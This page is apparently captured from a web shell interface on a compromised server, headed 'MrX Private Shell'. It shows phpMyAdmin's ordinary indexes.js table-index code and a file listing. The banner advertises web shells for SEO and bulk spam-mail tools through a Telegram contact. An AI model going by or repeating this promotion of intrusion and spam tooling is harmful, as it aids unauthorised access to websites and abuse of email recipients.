__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
/**
 * @fileoverview    function used for index manipulation pages
 * @name            Table Structure
 *
 * @requires    jQuery
 * @requires    jQueryUI
 * @required    js/functions.js
 */

/* global fulltextIndexes:writable, indexes:writable, primaryIndexes:writable, spatialIndexes:writable, uniqueIndexes:writable */ // js/functions.js

var Indexes = {};

/**
 * Returns the array of indexes based on the index choice
 *
 * @param {string} indexChoice index choice
 *
 * @return {null|object}
 */
Indexes.getIndexArray = function (indexChoice) {
  var sourceArray = null;
  switch (indexChoice.toLowerCase()) {
    case 'primary':
      sourceArray = primaryIndexes;
      break;
    case 'unique':
      sourceArray = uniqueIndexes;
      break;
    case 'index':
      sourceArray = indexes;
      break;
    case 'fulltext':
      sourceArray = fulltextIndexes;
      break;
    case 'spatial':
      sourceArray = spatialIndexes;
      break;
    default:
      return null;
  }
  return sourceArray;
};

/**
 * Hides/shows the inputs and submits appropriately depending
 * on whether the index type chosen is 'SPATIAL' or not.
 */
Indexes.checkIndexType = function () {
  /**
   * @var {JQuery<HTMLElement}, Dropdown to select the index choice.
   */
  var $selectIndexChoice = $('#select_index_choice');
  /**
   * @var {JQuery<HTMLElement}, Dropdown to select the index type.
   */
  var $selectIndexType = $('#select_index_type');
  /**
   * @var {JQuery<HTMLElement}, Table header for the size column.
   */
  var $sizeHeader = $('#index_columns').find('thead tr').children('th').eq(1);
  /**
   * @var {JQuery<HTMLElement}, Inputs to specify the columns for the index.
   */
  var $columnInputs = $('select[name="index[columns][names][]"]');
  /**
   * @var {JQuery<HTMLElement}, Inputs to specify sizes for columns of the index.
   */
  var $sizeInputs = $('input[name="index[columns][sub_parts][]"]');
  /**
   * @var {JQuery<HTMLElement}, Footer containing the controllers to add more columns
   */
  var $addMore = $('#index_frm').find('.add_more');
  if ($selectIndexChoice.val() === 'SPATIAL') {
    // Disable and hide the size column
    $sizeHeader.hide();
    $sizeInputs.each(function () {
      $(this).prop('disabled', true).parent('td').hide();
    });

    // Disable and hide the columns of the index other than the first one
    var initial = true;
    $columnInputs.each(function () {
      var $columnInput = $(this);
      if (!initial) {
        $columnInput.prop('disabled', true).parent('td').hide();
      } else {
        initial = false;
      }
    });

    // Hide controllers to add more columns
    $addMore.hide();
  } else {
    // Enable and show the size column
    $sizeHeader.show();
    $sizeInputs.each(function () {
      $(this).prop('disabled', false).parent('td').show();
    });

    // Enable and show the columns of the index
    $columnInputs.each(function () {
      $(this).prop('disabled', false).parent('td').show();
    });

    // Show controllers to add more columns
    $addMore.show();
  }
  if ($selectIndexChoice.val() === 'SPATIAL' || $selectIndexChoice.val() === 'FULLTEXT') {
    $selectIndexType.val('').prop('disabled', true);
  } else {
    $selectIndexType.prop('disabled', false);
  }
};

/**
 * Sets current index information into form parameters.
 *
 * @param {any[]}  sourceArray Array containing index columns
 * @param {string} indexChoice Choice of index
 *
 * @return {void}
 */
Indexes.setIndexFormParameters = function (sourceArray, indexChoice) {
  if (indexChoice === 'index') {
    $('input[name="indexes"]').val(JSON.stringify(sourceArray));
  } else {
    $('input[name="' + indexChoice + '_indexes"]').val(JSON.stringify(sourceArray));
  }
};

/**
 * Removes a column from an Index.
 *
 * @param {string} colIndex Index of column in form
 *
 * @return {void}
 */
Indexes.removeColumnFromIndex = function (colIndex) {
  // Get previous index details.
  var previousIndex = $('select[name="field_key[' + colIndex + ']"]').attr('data-index');
  if (previousIndex.length) {
    previousIndex = previousIndex.split(',');
    var sourceArray = Indexes.getIndexArray(previousIndex[0]);
    if (sourceArray === null) {
      return;
    }

    // Remove column from index array.
    var sourceLength = sourceArray[previousIndex[1]].columns.length;
    for (var i = 0; i < sourceLength; i++) {
      if (sourceArray[previousIndex[1]].columns[i].col_index === colIndex) {
        sourceArray[previousIndex[1]].columns.splice(i, 1);
      }
    }

    // Remove index completely if no columns left.
    if (sourceArray[previousIndex[1]].columns.length === 0) {
      sourceArray.splice(previousIndex[1], 1);
    }

    // Update current index details.
    $('select[name="field_key[' + colIndex + ']"]').attr('data-index', '');
    // Update form index parameters.
    Indexes.setIndexFormParameters(sourceArray, previousIndex[0].toLowerCase());
  }
};

/**
 * Adds a column to an Index.
 *
 * @param {any[]}  sourceArray Array holding corresponding indexes
 * @param {string} arrayIndex  Index of an INDEX in array
 * @param {string} indexChoice Choice of Index
 * @param {string} colIndex    Index of column on form
 *
 * @return {void}
 */
Indexes.addColumnToIndex = function (sourceArray, arrayIndex, indexChoice, colIndex) {
  if (colIndex >= 0) {
    // Remove column from other indexes (if any).
    Indexes.removeColumnFromIndex(colIndex);
  }
  var indexName = $('input[name="index[Key_name]"]').val();
  var indexComment = $('input[name="index[Index_comment]"]').val();
  var keyBlockSize = $('input[name="index[Key_block_size]"]').val();
  var parser = $('input[name="index[Parser]"]').val();
  var indexType = $('select[name="index[Index_type]"]').val();
  var columns = [];
  $('#index_columns').find('tbody').find('tr').each(function () {
    // Get columns in particular order.
    var colIndex = $(this).find('select[name="index[columns][names][]"]').val();
    var size = $(this).find('input[name="index[columns][sub_parts][]"]').val();
    columns.push({
      'col_index': colIndex,
      'size': size
    });
  });

  // Update or create an index.
  sourceArray[arrayIndex] = {
    'Key_name': indexName,
    'Index_comment': indexComment,
    'Index_choice': indexChoice.toUpperCase(),
    'Key_block_size': keyBlockSize,
    'Parser': parser,
    'Index_type': indexType,
    'columns': columns
  };

  // Display index name (or column list)
  var displayName = indexName;
  if (displayName === '') {
    var columnNames = [];
    $.each(columns, function () {
      columnNames.push($('input[name="field_name[' + this.col_index + ']"]').val());
    });
    displayName = '[' + columnNames.join(', ') + ']';
  }
  $.each(columns, function () {
    var id = 'index_name_' + this.col_index + '_8';
    var $name = $('#' + id);
    if ($name.length === 0) {
      $name = $('<a id="' + id + '" href="#" class="ajax show_index_dialog"></a>');
      $name.insertAfter($('select[name="field_key[' + this.col_index + ']"]'));
    }
    var $text = $('<small>').text(displayName);
    $name.html($text);
  });
  if (colIndex >= 0) {
    // Update index details on form.
    $('select[name="field_key[' + colIndex + ']"]').attr('data-index', indexChoice + ',' + arrayIndex);
  }
  Indexes.setIndexFormParameters(sourceArray, indexChoice.toLowerCase());
};

/**
 * Get choices list for a column to create a composite index with.
 *
 * @param {any[]} sourceArray Array hodling columns for particular index
 * @param {string} colIndex Choice of index
 *
 * @return {JQuery} jQuery Object
 */
Indexes.getCompositeIndexList = function (sourceArray, colIndex) {
  // Remove any previous list.
  if ($('#composite_index_list').length) {
    $('#composite_index_list').remove();
  }

  // Html list.
  var $compositeIndexList = $('<ul id="composite_index_list">' + '<div>' + Messages.strCompositeWith + '</div>' + '</ul>');

  // Add each column to list available for composite index.
  var sourceLength = sourceArray.length;
  var alreadyPresent = false;
  for (var i = 0; i < sourceLength; i++) {
    var subArrayLen = sourceArray[i].columns.length;
    var columnNames = [];
    for (var j = 0; j < subArrayLen; j++) {
      columnNames.push($('input[name="field_name[' + sourceArray[i].columns[j].col_index + ']"]').val());
      if (colIndex === sourceArray[i].columns[j].col_index) {
        alreadyPresent = true;
      }
    }
    $compositeIndexList.append('<li>' + '<input type="radio" name="composite_with" ' + (alreadyPresent ? 'checked="checked"' : '') + ' id="composite_index_' + i + '" value="' + i + '">' + '<label for="composite_index_' + i + '">' + columnNames.join(', ') + '</label>' + '</li>');
  }
  return $compositeIndexList;
};

/**
 * Shows 'Add Index' dialog.
 *
 * @param {any[]}  sourceArray   Array holding particular index
 * @param {string} arrayIndex    Index of an INDEX in array
 * @param {any[]}  targetColumns Columns for an INDEX
 * @param {string} colIndex      Index of column on form
 * @param {object} index         Index detail object
 * @param {boolean} showDialog   Whether to show index creation dialog or not
 *
 * @return {void}
 */
Indexes.showAddIndexDialog = function (sourceArray, arrayIndex, targetColumns, colIndex, index, showDialog) {
  var showDialogLocal = typeof showDialog !== 'undefined' ? showDialog : true;
  // Prepare post-data.
  var $table = $('input[name="table"]');
  var table = $table.length > 0 ? $table.val() : '';
  var postData = {
    'server': CommonParams.get('server'),
    'db': $('input[name="db"]').val(),
    'table': table,
    'ajax_request': 1,
    'create_edit_table': 1,
    'index': index
  };
  var columns = {};
  for (var i = 0; i < targetColumns.length; i++) {
    var columnName = $('input[name="field_name[' + targetColumns[i] + ']"]').val();
    var columnType = $('select[name="field_type[' + targetColumns[i] + ']"]').val().toLowerCase();
    columns[columnName] = [columnType, targetColumns[i]];
  }
  postData.columns = JSON.stringify(columns);
  var buttonOptions = {
    [Messages.strGo]: {
      text: Messages.strGo,
      class: 'btn btn-primary'
    },
    [Messages.strCancel]: {
      text: Messages.strCancel,
      class: 'btn btn-secondary'
    }
  };
  buttonOptions[Messages.strGo].click = function () {
    var isMissingValue = false;
    $('select[name="index[columns][names][]"]').each(function () {
      if ($(this).val() === '') {
        isMissingValue = true;
      }
    });
    if (!isMissingValue) {
      Indexes.addColumnToIndex(sourceArray, arrayIndex, index.Index_choice, colIndex);
    } else {
      Functions.ajaxShowMessage('<div class="alert alert-danger" role="alert"><img src="themes/dot.gif" title="" alt=""' + ' class="icon ic_s_error"> ' + Messages.strMissingColumn + ' </div>', false);
      return false;
    }
    $(this).remove();
  };
  buttonOptions[Messages.strCancel].click = function () {
    if (colIndex >= 0) {
      // Handle state on 'Cancel'.
      var $selectList = $('select[name="field_key[' + colIndex + ']"]');
      if (!$selectList.attr('data-index').length) {
        $selectList.find('option[value*="none"]').attr('selected', 'selected');
      } else {
        var previousIndex = $selectList.attr('data-index').split(',');
        $selectList.find('option[value*="' + previousIndex[0].toLowerCase() + '"]').attr('selected', 'selected');
      }
    }
    $(this).dialog('close');
  };
  var $msgbox = Functions.ajaxShowMessage();
  $.post('index.php?route=/table/indexes', postData, function (data) {
    if (data.success === false) {
      // in the case of an error, show the error message returned.
      Functions.ajaxShowMessage(data.error, false);
    } else {
      Functions.ajaxRemoveMessage($msgbox);
      var $div = $('<div></div>');
      if (showDialogLocal) {
        // Show dialog if the request was successful
        if ($('#addIndex').length > 0) {
          $('#addIndex').remove();
        }
        $div.append(data.message).dialog({
          classes: {
            'ui-dialog-titlebar-close': 'btn-close'
          },
          title: Messages.strAddIndex,
          width: 450,
          minHeight: 250,
          create: function () {
            $(this).on('keypress', function (e) {
              if (e.which === 13 || e.keyCode === 13 || window.event.keyCode === 13) {
                e.preventDefault();
                buttonOptions[Messages.strGo]();
                $(this).remove();
              }
            });
          },
          open: function () {
            Functions.checkIndexName('index_frm');
            Functions.showHints($div);
            $('#index_columns').find('td').each(function () {
              $(this).css('width', $(this).width() + 'px');
            });
            $('#index_columns').find('tbody').sortable({
              axis: 'y',
              containment: $('#index_columns').find('tbody'),
              tolerance: 'pointer'
            });
          },
          modal: true,
          buttons: buttonOptions,
          close: function () {
            $(this).remove();
          }
        });
      } else {
        $div.append(data.message);
        $div.css({
          'display': 'none'
        });
        $div.appendTo($('body'));
        $div.attr({
          'id': 'addIndex'
        });
        var isMissingValue = false;
        $('select[name="index[columns][names][]"]').each(function () {
          if ($(this).val() === '') {
            isMissingValue = true;
          }
        });
        if (!isMissingValue) {
          Indexes.addColumnToIndex(sourceArray, arrayIndex, index.Index_choice, colIndex);
        } else {
          Functions.ajaxShowMessage('<div class="alert alert-danger" role="alert"><img src="themes/dot.gif" title="" alt=""' + ' class="icon ic_s_error"> ' + Messages.strMissingColumn + ' </div>', false);
          return false;
        }
      }
    }
  });
};

/**
 * Creates a advanced index type selection dialog.
 *
 * @param {any[]}  sourceArray Array holding a particular type of indexes
 * @param {string} indexChoice Choice of index
 * @param {string} colIndex    Index of new column on form
 *
 * @return {void}
 */
Indexes.indexTypeSelectionDialog = function (sourceArray, indexChoice, colIndex) {
  var $singleColumnRadio = $('<input type="radio" id="single_column" name="index_choice"' + ' checked="checked">' + '<label for="single_column">' + Messages.strCreateSingleColumnIndex + '</label>');
  var $compositeIndexRadio = $('<input type="radio" id="composite_index"' + ' name="index_choice">' + '<label for="composite_index">' + Messages.strCreateCompositeIndex + '</label>');
  var $dialogContent = $('<fieldset class="pma-fieldset" id="advance_index_creator"></fieldset>');
  $dialogContent.append('<legend>' + indexChoice.toUpperCase() + '</legend>');

  // For UNIQUE/INDEX type, show choice for single-column and composite index.
  $dialogContent.append($singleColumnRadio);
  $dialogContent.append($compositeIndexRadio);
  var buttonOptions = {
    [Messages.strGo]: {
      text: Messages.strGo,
      class: 'btn btn-primary'
    },
    [Messages.strCancel]: {
      text: Messages.strCancel,
      class: 'btn btn-secondary'
    }
  };

  // 'OK' operation.
  buttonOptions[Messages.strGo].click = function () {
    if ($('#single_column').is(':checked')) {
      var index = {
        'Key_name': indexChoice === 'primary' ? 'PRIMARY' : '',
        'Index_choice': indexChoice.toUpperCase()
      };
      Indexes.showAddIndexDialog(sourceArray, sourceArray.length, [colIndex], colIndex, index);
    }
    if ($('#composite_index').is(':checked')) {
      if ($('input[name="composite_with"]').length !== 0 && $('input[name="composite_with"]:checked').length === 0) {
        Functions.ajaxShowMessage('<div class="alert alert-danger" role="alert"><img src="themes/dot.gif" title=""' + ' alt="" class="icon ic_s_error"> ' + Messages.strFormEmpty + ' </div>', false);
        return false;
      }
      var arrayIndex = $('input[name="composite_with"]:checked').val();
      var sourceLength = sourceArray[arrayIndex].columns.length;
      var targetColumns = [];
      for (var i = 0; i < sourceLength; i++) {
        targetColumns.push(sourceArray[arrayIndex].columns[i].col_index);
      }
      targetColumns.push(colIndex);
      Indexes.showAddIndexDialog(sourceArray, arrayIndex, targetColumns, colIndex, sourceArray[arrayIndex]);
    }
    $(this).remove();
  };
  buttonOptions[Messages.strCancel].click = function () {
    // Handle state on 'Cancel'.
    var $selectList = $('select[name="field_key[' + colIndex + ']"]');
    if (!$selectList.attr('data-index').length) {
      $selectList.find('option[value*="none"]').attr('selected', 'selected');
    } else {
      var previousIndex = $selectList.attr('data-index').split(',');
      $selectList.find('option[value*="' + previousIndex[0].toLowerCase() + '"]').attr('selected', 'selected');
    }
    $(this).remove();
  };
  $('<div></div>').append($dialogContent).dialog({
    classes: {
      'ui-dialog-titlebar-close': 'btn-close'
    },
    minWidth: 525,
    minHeight: 200,
    modal: true,
    title: Messages.strAddIndex,
    resizable: false,
    buttons: buttonOptions,
    open: function () {
      $('#composite_index').on('change', function () {
        if ($(this).is(':checked')) {
          $dialogContent.append(Indexes.getCompositeIndexList(sourceArray, colIndex));
        }
      });
      $('#single_column').on('change', function () {
        if ($(this).is(':checked')) {
          if ($('#composite_index_list').length) {
            $('#composite_index_list').remove();
          }
        }
      });
    },
    close: function () {
      $('#composite_index').off('change');
      $('#single_column').off('change');
      $(this).remove();
    }
  });
};

/**
 * Unbind all event handlers before tearing down a page
 */
AJAX.registerTeardown('indexes.js', function () {
  $(document).off('click', '#save_index_frm');
  $(document).off('click', '#preview_index_frm');
  $(document).off('change', '#select_index_choice');
  $(document).off('click', 'a.drop_primary_key_index_anchor.ajax');
  $(document).off('click', '#table_index tbody tr td.edit_index.ajax, #index_div .add_index.ajax');
  $(document).off('click', '#table_index tbody tr td.rename_index.ajax');
  $(document).off('click', '#index_frm input[type=submit]');
  $('body').off('change', 'select[name*="field_key"]');
  $(document).off('click', '.show_index_dialog');
});

/**
 * @description <p>Ajax scripts for table index page</p>
 *
 * Actions ajaxified here:
 * <ul>
 * <li>Showing/hiding inputs depending on the index type chosen</li>
 * <li>create/edit/drop indexes</li>
 * </ul>
 */
AJAX.registerOnload('indexes.js', function () {
  // Re-initialize variables.
  primaryIndexes = [];
  uniqueIndexes = [];
  indexes = [];
  fulltextIndexes = [];
  spatialIndexes = [];

  // for table creation form
  var $engineSelector = $('.create_table_form select[name=tbl_storage_engine]');
  if ($engineSelector.length) {
    Functions.hideShowConnection($engineSelector);
  }
  var $form = $('#index_frm');
  if ($form.length > 0) {
    Functions.showIndexEditDialog($form);
  }
  $(document).on('click', '#save_index_frm', function (event) {
    event.preventDefault();
    var $form = $('#index_frm');
    var argsep = CommonParams.get('arg_separator');
    var submitData = $form.serialize() + argsep + 'do_save_data=1' + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true';
    Functions.ajaxShowMessage(Messages.strProcessingRequest);
    AJAX.source = $form;
    $.post($form.attr('action'), submitData, AJAX.responseHandler);
  });
  $(document).on('click', '#preview_index_frm', function (event) {
    event.preventDefault();
    Functions.previewSql($('#index_frm'));
  });
  $(document).on('change', '#select_index_choice', function (event) {
    event.preventDefault();
    Indexes.checkIndexType();
    Functions.checkIndexName('index_frm');
  });

  /**
   * Ajax Event handler for 'Drop Index'
   */
  $(document).on('click', 'a.drop_primary_key_index_anchor.ajax', function (event) {
    event.preventDefault();
    var $anchor = $(this);
    /**
     * @var $currRow Object containing reference to the current field's row
     */
    var $currRow = $anchor.parents('tr');
    /** @var {number} rows Number of columns in the key */
    var rows = $anchor.parents('td').attr('rowspan') || 1;
    /** @var {number} $rowsToHide Rows that should be hidden */
    var $rowsToHide = $currRow;
    for (var i = 1, $lastRow = $currRow.next(); i < rows; i++, $lastRow = $lastRow.next()) {
      $rowsToHide = $rowsToHide.add($lastRow);
    }
    var question = $currRow.children('td').children('.drop_primary_key_index_msg').val();
    Functions.confirmPreviewSql(question, $anchor.attr('href'), function (url) {
      var $msg = Functions.ajaxShowMessage(Messages.strDroppingPrimaryKeyIndex, false);
      var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData());
      $.post(url, params, function (data) {
        if (typeof data !== 'undefined' && data.success === true) {
          Functions.ajaxRemoveMessage($msg);
          var $tableRef = $rowsToHide.closest('table');
          if ($rowsToHide.length === $tableRef.find('tbody > tr').length) {
            // We are about to remove all rows from the table
            $tableRef.hide('medium', function () {
              $('div.no_indexes_defined').show('medium');
              $rowsToHide.remove();
            });
            $tableRef.siblings('.alert-primary').hide('medium');
          } else {
            // We are removing some of the rows only
            $rowsToHide.hide('medium', function () {
              $(this).remove();
            });
          }
          if ($('.result_query').length) {
            $('.result_query').remove();
          }
          if (data.sql_query) {
            $('<div class="result_query"></div>').html(data.sql_query).prependTo('#structure_content');
            Functions.highlightSql($('#page_content'));
          }
          Navigation.reload();
          CommonActions.refreshMain('index.php?route=/table/structure');
        } else {
          Functions.ajaxShowMessage(Messages.strErrorProcessingRequest + ' : ' + data.error, false);
        }
      }); // end $.post()
    });
  }); // end Drop Primary Key/Index

  /**
   * Ajax event handler for index edit
   **/
  $(document).on('click', '#table_index tbody tr td.edit_index.ajax, #index_div .add_index.ajax', function (event) {
    event.preventDefault();
    var url;
    var title;
    if ($(this).find('a').length === 0) {
      // Add index
      var valid = Functions.checkFormElementInRange($(this).closest('form')[0], 'added_fields', 'Column count has to be larger than zero.');
      if (!valid) {
        return;
      }
      url = $(this).closest('form').serialize();
      title = Messages.strAddIndex;
    } else {
      // Edit index
      url = $(this).find('a').getPostData();
      title = Messages.strEditIndex;
    }
    url += CommonParams.get('arg_separator') + 'ajax_request=true';
    Functions.indexEditorDialog(url, title, function (data) {
      CommonParams.set('db', data.params.db);
      CommonParams.set('table', data.params.table);
      CommonActions.refreshMain('index.php?route=/table/structure');
    });
  });

  /**
   * Ajax event handler for index rename
   **/
  $(document).on('click', '#table_index tbody tr td.rename_index.ajax', function (event) {
    event.preventDefault();
    var url = $(this).find('a').getPostData();
    var title = Messages.strRenameIndex;
    url += CommonParams.get('arg_separator') + 'ajax_request=true';
    Functions.indexRenameDialog(url, title, function (data) {
      CommonParams.set('db', data.params.db);
      CommonParams.set('table', data.params.table);
      CommonActions.refreshMain('index.php?route=/table/structure');
    });
  });

  /**
   * Ajax event handler for advanced index creation during table creation
   * and column addition.
   */
  $('body').on('change', 'select[name*="field_key"]', function (e, showDialog) {
    var showDialogLocal = typeof showDialog !== 'undefined' ? showDialog : true;
    // Index of column on Table edit and create page.
    var colIndex = /\d+/.exec($(this).attr('name'));
    colIndex = colIndex[0];
    // Choice of selected index.
    var indexChoice = /[a-z]+/.exec($(this).val());
    indexChoice = indexChoice[0];
    // Array containing corresponding indexes.
    var sourceArray = null;
    if (indexChoice === 'none') {
      Indexes.removeColumnFromIndex(colIndex);
      var id = 'index_name_' + '0' + '_8';
      var $name = $('#' + id);
      if ($name.length === 0) {
        $name = $('<a id="' + id + '" href="#" class="ajax show_index_dialog"></a>');
        $name.insertAfter($('select[name="field_key[' + '0' + ']"]'));
      }
      $name.html('');
      return false;
    }

    // Select a source array.
    sourceArray = Indexes.getIndexArray(indexChoice);
    if (sourceArray === null) {
      return;
    }
    if (sourceArray.length === 0) {
      var index = {
        'Key_name': indexChoice === 'primary' ? 'PRIMARY' : '',
        'Index_choice': indexChoice.toUpperCase()
      };
      Indexes.showAddIndexDialog(sourceArray, 0, [colIndex], colIndex, index, showDialogLocal);
    } else {
      if (indexChoice === 'primary') {
        var arrayIndex = 0;
        var sourceLength = sourceArray[arrayIndex].columns.length;
        var targetColumns = [];
        for (var i = 0; i < sourceLength; i++) {
          targetColumns.push(sourceArray[arrayIndex].columns[i].col_index);
        }
        targetColumns.push(colIndex);
        Indexes.showAddIndexDialog(sourceArray, arrayIndex, targetColumns, colIndex, sourceArray[arrayIndex], showDialogLocal);
      } else {
        // If there are multiple columns selected for an index, show advanced dialog.
        Indexes.indexTypeSelectionDialog(sourceArray, indexChoice, colIndex);
      }
    }
  });
  $(document).on('click', '.show_index_dialog', function (e) {
    e.preventDefault();

    // Get index details.
    var previousIndex = $(this).prev('select').attr('data-index').split(',');
    var indexChoice = previousIndex[0];
    var arrayIndex = previousIndex[1];
    var sourceArray = Indexes.getIndexArray(indexChoice);
    if (sourceArray !== null) {
      var sourceLength = sourceArray[arrayIndex].columns.length;
      var targetColumns = [];
      for (var i = 0; i < sourceLength; i++) {
        targetColumns.push(sourceArray[arrayIndex].columns[i].col_index);
      }
      Indexes.showAddIndexDialog(sourceArray, arrayIndex, targetColumns, -1, sourceArray[arrayIndex]);
    }
  });
  $('#index_frm').on('submit', function () {
    if (typeof this.elements['index[Key_name]'].disabled !== 'undefined') {
      this.elements['index[Key_name]'].disabled = false;
    }
  });
});

Filemanager

Name Type Size Permission Actions
codemirror Folder 0755
database Folder 0755
designer Folder 0755
jqplot Folder 0755
server Folder 0755
setup Folder 0755
table Folder 0755
transformations Folder 0755
ajax.js File 29.25 KB 0644
chart.js File 16.66 KB 0644
common.js File 4.42 KB 0644
config.js File 23.5 KB 0644
console.js File 48.39 KB 0644
cross_framing_protection.js File 405 B 0644
doclinks.js File 17.85 KB 0644
drag_drop_import.js File 12.14 KB 0644
error_report.js File 9.05 KB 0644
export.js File 30.6 KB 0644
export_output.js File 364 B 0644
functions.js File 144.6 KB 0644
gis_data_editor.js File 13.26 KB 0644
home.js File 5.15 KB 0644
import.js File 5.5 KB 0644
indexes.js File 26.33 KB 0644
jquery.sortable-table.js File 9.27 KB 0644
keyhandler.js File 2.01 KB 0644
makegrid.js File 79.11 KB 0644
menu_resizer.js File 5.59 KB 0644
multi_column_sort.js File 1.25 KB 0644
name-conflict-fixes.js File 43 B 0644
navigation.js File 50.62 KB 0644
normalization.js File 23.54 KB 0644
ol.js File 1.41 KB 0644
page_settings.js File 1.78 KB 0644
replication.js File 3.46 KB 0644
shortcuts_handler.js File 3.23 KB 0644
sql.js File 34.71 KB 0644
u2f.js File 2.87 KB 0644
webauthn.js File 3.86 KB 0644
Filemanager